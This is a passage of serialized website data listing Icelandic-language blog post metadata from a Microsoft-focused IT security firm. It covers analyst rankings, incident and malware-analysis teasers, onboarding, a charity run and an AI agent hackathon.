Sviss sem Leader í fjórðungnum Microsoft AI and Cloud Ecosystem, á sviðunum Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":1041,"date":1498,"categories":1499,"blogtitlepic":1500,"customExcerpt":1501},"2026-07-31",[1484],"head-isg-ch-2026.png","ISG Provider Lens® rannsóknin 2026 staðsetur glueckkanja í Sviss sem Leader í fjórðungnum Microsoft AI and Cloud Ecosystem, á sviðunum Azure Managed Services og Microsoft Productivity and Business Process Services. Tveimur árum eftir innkomuna á markaðinn í Bern, ári eftir Rising-Star-viðurkenninguna.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[1490,1491],{"id":1506,"title":1507,"author":1508,"cta":494,"description":576,"hideInRecent":484,"layout":1039,"meta":1509,"moment":1510,"path":1514,"stem":1515,"tags":1516,"webcast":484},"content_is/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hvað OpenAI/Hugging-Face-atvikið segir og hvað ekki",[1251],{"lang":1041,"date":1510,"categories":1511,"blogtitlepic":1512,"customExcerpt":1513},"2026-07-24",[235],"head-outbreak.jpg","AI-agent brýst út úr prófunarumhverfinu sínu, finnur zero-day og hakkar annað fyrirtæki. Hljómar eins og handrit, en gerðist í raun í júlí 2026. Tími fyrir yfirvegaða greiningu: með dálítilli sálfræði, tveimur security-veteranum og spurningunni um hvað þetta þýðir fyrir vörnina þína.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[1517,1083,1474],"AI",{"id":1519,"title":1520,"author":1521,"cta":494,"description":1522,"hideInRecent":484,"layout":1039,"meta":1523,"moment":1524,"path":1528,"stem":1529,"tags":1530,"webcast":484},"content_is/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja í ISG Cybersecurity-rannsókninni 2026",[1278],"Nýir í fjórðungnum og strax Leader: ISG Provider Lens®-rannsóknin \"Cybersecurity – Services and Solutions 2026\" staðsetur glueckkanja sem Leader á sviði Next-Gen SOC/MDR Services fyrir þýsk millistór fyrirtæki. Á heildarmarkaðnum fyrir Next-Gen SOC/MDR Services útnefnir ISG okkur Rising Star, það er þann þjónustuaðila sem greinendurnir treysta til að stökkva inn í Leader-fjórðunginn á næstu 12 til 24 mánuðum.",{"lang":1041,"date":1524,"categories":1525,"blogtitlepic":1526,"customExcerpt":1527},"2026-07-22",[1484],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-rannsóknin Cybersecurity 2026 útnefnir glueckkanja Leader í fjórðungnum Next-Gen SOC/MDR Services (Midmarket). Á heildarmarkaðnum fyrir Next-Gen SOC/MDR Services erum við Rising Star. ISG staðfestir hjá okkur vöxt umfram meðaltal, djúpa Microsoft-security-sérþekkingu og SOC sem gengur allan sólarhringinn frá Þýskalandi.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[1490,1491,235],{"id":1532,"title":1533,"author":1534,"cta":494,"description":1535,"hideInRecent":484,"layout":1039,"meta":1536,"moment":1537,"path":1540,"stem":1541,"tags":1542,"webcast":484},"content_is/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: hvað AI þarf í raun til að vinna",[1278],"Framleiðslufyrirtæki vill vita hverjar af 14.000 SKU-um þess séu í raun arðbærar. Svarið liggur í þremur kerfum sem hafa aldrei skipst á einum einasta gagnapunkti. Fram til skamms tíma kostaði það þrjár deildir, tvær vikur og talsverðan góðvilja að fá það. Frá byrjun árs 2026 getur AI svarað þessari spurningu á mínútum: farið yfir gögnin, dregið fram samhengið, framkallað tillögu. Að því gefnu að hún hafi aðgang.",{"lang":1041,"date":1537,"categories":1538,"blogtitlepic":1539},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[1517,131],{"id":1544,"title":1545,"author":1546,"cta":494,"description":1547,"hideInRecent":484,"layout":1039,"meta":1548,"moment":1549,"path":1553,"stem":1554,"tags":1555,"webcast":484},"content_is/posts/2026-07-01-onboarding-process.md","Samningurinn undirritaður: svona fer onboardingið hjá okkur fram",[1369],"Hvernig fer onboardingið hjá ykkur eiginlega fram? Þetta er spurning sem mætir okkur aftur og aftur í samtölum við umsækjendur, því margir hafa upplifað að onboarding gangi brösuglega. Þeim mun meira máli skiptir okkur að þú hafir góða tilfinningu fyrir þessu frá byrjun.",{"lang":1041,"date":1549,"categories":1550,"blogtitlepic":1551,"customExcerpt":1552},"2026-07-01",[1484],"Onboarding_Blogheader","Samningurinn er undirritaður, fyrsta stóra skrefið er að baki. En hvað gerist næst? Við tökum þig með á bak við tjöldin í onboardinginu okkar, frá PreBoarding að fyrstu vikunni í teyminu.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[1556,1557,1558],"Employer Branding","Onboarding","Unternehmenskultur",{"id":1560,"title":1561,"author":1562,"cta":494,"description":1563,"hideInRecent":484,"layout":1039,"meta":1564,"moment":1565,"path":1569,"stem":1570,"tags":1571,"webcast":484},"content_is/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: við tilheyrum hópnum",[1278],"Í Microsoft-partner-vistkerfinu er til heil röð af viðurkenningum, og samt sker Frontier Partner Badge sig úr í uppbyggingu sinni frá hinum. Ekki er hægt að sækja um það, heldur er það veitt að frumkvæði Microsoft til þröngs, útvalins hóps samstarfsaðila sem verða að sannfæra í mörgum greinum samhliða, í stað þess að skína í einni. Microsoft prófar þarna sönnuða hæfni í Cloud & AI Platforms, í AI Business Solutions og í Security jafnt og beinir sér þannig að fyrirtækjum sem líta ekki á AI sem viðbót ofan á núverandi IT, heldur sem afrakstur samfelldrar arkitektúrs sem ber allt frá auðkenni yfir endapunktinn og inn í framleiðslurekstur AI.",{"lang":1041,"date":1565,"categories":1566,"blogtitlepic":1567,"customExcerpt":1568},"2026-06-26",[1484],"head-frontier-partner-badge.jpg","Nýlega bættist við Microsoft AI Cloud Partner Program ný toppviðurkenning, Frontier Partner Badge. Microsoft veitir hana aðeins þröngum, útvöldum hópi samstarfsaðila um allan heim, þeim sem afhenda AI-verkefni á öllum Microsoft-stackinum á traustan hátt, allt frá vinnustaðnum yfir cloud-vettvanginn og security og inn í AI-forritin sjálf, og hafa sannað þessa kröfu í raunverulegum verkefnum. Á DACH-svæðinu telur þessi hópur aðeins örfá fyrirtæki, og við erum eitt þeirra.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[1490,1572,1517],"Microsoft Partner",{"id":1574,"title":1575,"author":1576,"cta":494,"description":1577,"hideInRecent":484,"layout":1039,"meta":1578,"moment":1579,"path":1583,"stem":1584,"tags":1585,"webcast":484},"content_is/posts/2026-06-09-vair-run.md","160 kílómetrar fyrir góðan málstað",[1376],"Sunnudagsmorgunn, klukkan 8:30, Holbeinsteg við Main. Ellefu samstarfsmenn í samræmdum NinjaCat-bolum, tilbúnir í Frankfurter Runden. Regn, eldingar og þrumur með í kaupbæti. Það að hlaupa fyrir góðan málstað var næg hvatning til að reima á sig hlaupaskóna þrátt fyrir slæmt veður.",{"lang":1041,"date":1579,"categories":1580,"blogtitlepic":1581,"customExcerpt":1582},"2026-06-08",[1484],"frankfurter-runden.png","Ellefu samstarfsmenn, 16 hringir, 160 kílómetrar, þrumuveður og verðlaunasæti: glueckkanja tók þátt í Frankfurter Runden 2026 og gaf fyrir hvern hlaupinn hring til VAIR e.V., sem er að byggja upp opinn íþrótta- og menningargarð í Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[1586,1556,1587],"Top Arbeitgeber","Soziales Engagement",{"id":1589,"title":1590,"author":1591,"cta":494,"description":1592,"hideInRecent":484,"layout":1039,"meta":1593,"moment":1594,"path":1598,"stem":1599,"tags":1600,"webcast":484},"content_is/posts/2026-04-10-incident-to-intelligence.md","Anatómía á óþekktum AMOS Stealer: Frá alerti til ónæmis á klukkustundum",[1357],"Þegar alert kviknar í SOC-inu okkar byrjar klukkan að tifa, ekki bara fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir vernd okkar. Hættulegasta augnablikið í nútíma threat-umhverfi er intelligence gap-ið, tímaglugginn milli fyrstu notkunar á nýju malware-afbrigði og þess dags þegar iðnaðurinn heyrir af því.",{"lang":1041,"date":1594,"categories":1595,"blogtitlepic":1596,"customExcerpt":1597},"2026-04-10",[235],"head-amos-stealer.png","Áður óskráð afbrigði af AMOS stealer komst inn á macOS-endpoint. Engir þekktir hash-ar, engin C2-gögn í opnum gagnagrunnum. SOC-teymið okkar tók í sundur sex lög af obfuskun, dró út alla indicators og dreifði vörn til allra SOC-viðskiptavina á fáum klukkustundum, áður en iðnaðurinn hafði yfirhöfuð séð sample-ið.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[1601,1602,1603,1604,1605],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center",{"id":1607,"title":1608,"author":1609,"cta":494,"description":1610,"hideInRecent":484,"layout":1039,"meta":1611,"moment":1612,"path":1615,"stem":1616,"tags":494,"webcast":484},"content_is/posts/2026-03-21-microsoft-edge-corporate-browser.md","Af hverju Edge ætti að vera eini corporate browserinn þinn",[1147],"Val á browser er stefnumótandi ákvörðun í fyrirtækjaumhverfi, því það hefur bein áhrif á það hversu mikið öryggi og hversu mikla umsýslu þú færð í raun. Google Chrome var lengi augljósi kosturinn, en Microsoft Edge hefur þróast í browser sem grípur beint inn í þann stack sem er þegar til staðar, sérstaklega þegar Microsoft 365 er í notkun og umsýslan fer fram í gegnum Intune.",{"lang":1041,"date":1612,"blogtitlepic":1613,"customExcerpt":1614},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ekkert fyrirtæki valdi Chrome í raun; hann var einfaldlega til staðar, með sinni eigin sync-rökfræði, sinni eigin reikningsstjórnun, sínu eigin viðmóti fyrir stefnur. Microsoft Edge grípur aftur á móti beint inn í þá innviði sem eru hvort eð er í rekstri: Entra ID, Intune, Defender. Þessi grein sýnir hvernig skiptin líta út, hvernig Chrome er vísað á landing page í gegnum Intune-stefnu og hvað fellur burt þegar hætt er að reka tvo browsera samhliða.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":1618,"title":1619,"author":1620,"cta":494,"description":1621,"hideInRecent":484,"layout":1039,"meta":1622,"moment":1623,"path":1627,"stem":1628,"tags":1629,"webcast":484},"content_is/posts/2026-03-20-stryker-attack-intune-privilege.md","Einn admin-aðgangur var allt sem þurfti.",[1251],"Miðvikudagur, 11. mars 2026. Starfsmenn á Stryker-skrifstofum í 79 löndum kveiktu á tölvunum sínum og fundu þær tómar. Innskráningarskjáir voru komnir í stað lógós. Fyrirtækjafartölvur, vinnusímar, einkatæki sem skráð voru í BYOD-áætlun fyrirtækisins, öllu var eytt samtímis, yfir nótt. Engin ransomware, engar malware-undirskriftir, ekkert sem endpoint-detection tól hefði getað greint.",{"lang":1041,"date":1623,"categories":1624,"blogtitlepic":1625,"customExcerpt":1626},"2026-03-20",[235],"head-stryker.jpg","Þann 11. mars 2026 eyddi Handala tækjum í 79 löndum, og allt sem til þess þurfti var eitt yfirtekið Intune admin-aðgangur. Engin malware, ekkert exploit, aðeins löglegar management-tólar sem beint var að eigendum sínum. Hvað gerðist, af hverju það heppnaðist og hvaða tvær arkitektúrlegar glufur þarf að loka.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,1473,1474],{"id":1631,"title":1632,"author":1633,"cta":494,"description":1634,"hideInRecent":484,"layout":1039,"meta":1635,"moment":1636,"path":1640,"stem":1641,"tags":1642,"webcast":484},"content_is/posts/2026-03-16-ai-agent-hackathon.md","Sex agents. Fjórar vikur. Raunverulegur rekstur.",[1278],"Hversu margar klukkustundir eyðir IT-deildin þín á viku í verkefni sem agent gæti klárað á mínútum.",{"lang":1041,"date":1636,"categories":1637,"blogtitlepic":1638,"customExcerpt":1639},"2026-03-16",[1484],"head-ai-agent-hackathon.jpg","Sex fyrirtæki, fjögurra vikna build-fasi, sex virkir AI Agents, þetta var fyrsti glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik byggðu í Copilot Studio agents sem eru í rekstri í dag. Það sem varð til og hvernig formið virkar.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[1517,1643,1644,1645],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":1647,"Fritz Zurhorst":1648,"Nadine Klein":1649,"Jan Geisbauer":1650,"Carolin Kanja":1654,"Anna Ulbricht":1655,"Annette Brauns":1656,"Pascal Asch":1657,"Steffen Schwerdtfeger":1658},{"display_name":1116,"avatar":1117,"permalink":1118,"twitter":1119,"linkedin":1120,"imageOffsetTop":1121,"imageOffsetLeft":1122},{"display_name":522,"avatar":1092,"permalink":1093,"linkedin":1094,"imageOffsetTop":1095},{"display_name":523,"avatar":1111,"permalink":1112,"twitter":1113,"linkedin":1114,"imageOffsetTop":1095},{"display_name":1251,"avatar":1252,"permalink":1253,"twitter":1254,"linkedin":1254,"imageOffsetTop":1095,"socials":1651},[1652,1653],{"text":1257,"href":1258},{"text":1260,"href":1261},{"display_name":1278,"avatar":1279,"permalink":1280,"twitter":1281,"linkedin":1282},{"display_name":1369,"avatar":1370,"permalink":1371,"linkedin":1372,"imageOffsetTop":1373,"imageOffsetLeft":1374},{"display_name":1376,"avatar":1377,"permalink":1378,"linkedin":1379,"imageOffsetTop":1380,"imageOffsetLeft":1121},{"display_name":1357,"avatar":1358,"permalink":1359,"linkedin":1360,"imageOffsetTop":1194},{"display_name":1147,"avatar":1148,"permalink":1149,"linkedin":1150,"twitter":1151,"imageOffsetTop":1152,"imageOffsetLeft":1153},{"id":1087,"extension":1088,"meta":1660,"stem":8,"__hash__":1438},{"Fritz Zurhorst":1661,"Nadine Klein":1662},{"display_name":522,"avatar":1092,"permalink":1093,"linkedin":1094,"imageOffsetTop":1095},{"display_name":523,"avatar":1111,"permalink":1112,"twitter":1113,"linkedin":1114,"imageOffsetTop":1095},1791383932038]